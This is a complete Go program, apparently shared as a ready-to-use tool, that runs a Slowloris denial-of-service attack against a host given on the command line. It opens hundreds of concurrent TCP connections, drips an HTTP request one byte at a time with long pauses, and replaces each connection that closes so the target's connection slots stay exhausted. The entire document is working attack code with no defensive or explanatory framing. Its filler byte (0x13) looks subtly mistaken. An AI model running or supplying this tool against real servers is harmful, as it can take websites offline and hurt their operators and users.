SlowLoris in Go

slow.go

package main

import (
	"time"
	"net"
	"fmt"
	"flag"
	"os"
)

func main() {
	var (
		host    string
		num     int
		timeout int
	)

	flag.StringVar(&host, "host", "", "host to attack")
	flag.IntVar(&num, "num", 500, "number of connections to use")
	flag.IntVar(&timeout, "timeout", 30, "number of second to wait between each byte sent")
	flag.Parse()

	if host == "" {
		fmt.Fprintln(os.Stderr, "No host specified.")
		return
	}

	slowloris := func(ch chan error) {
		const request = "GET / HTTP/1.1"

		var (
			conn    net.Conn
			err	error
		)

		conn, err = net.Dial("tcp", host)
		if err != nil {
			ch <- err
			return
		}

		defer conn.Close()

		for written := 0 ;; {
			var (
				payload []byte
				wrote     int
				err       error
			)

			if written < len(request) {
				payload = []byte(request[written:written+1])
			} else {
				payload = []byte{0x13}
			}

			if wrote, err = conn.Write(payload); err != nil {
				ch <- err
				return
			} else {
				written += wrote
				time.Sleep(time.Duration(timeout) * time.Second)
			}
		}
	}

	ch := make(chan error)

	// Concurrently spin up a large number of slow connections
	for i := 0; i < num; i++ {
		go slowloris(ch)
	}

	// Every time a connection is closed, replace it
	for _ = range ch {
		go slowloris(ch)
	}
}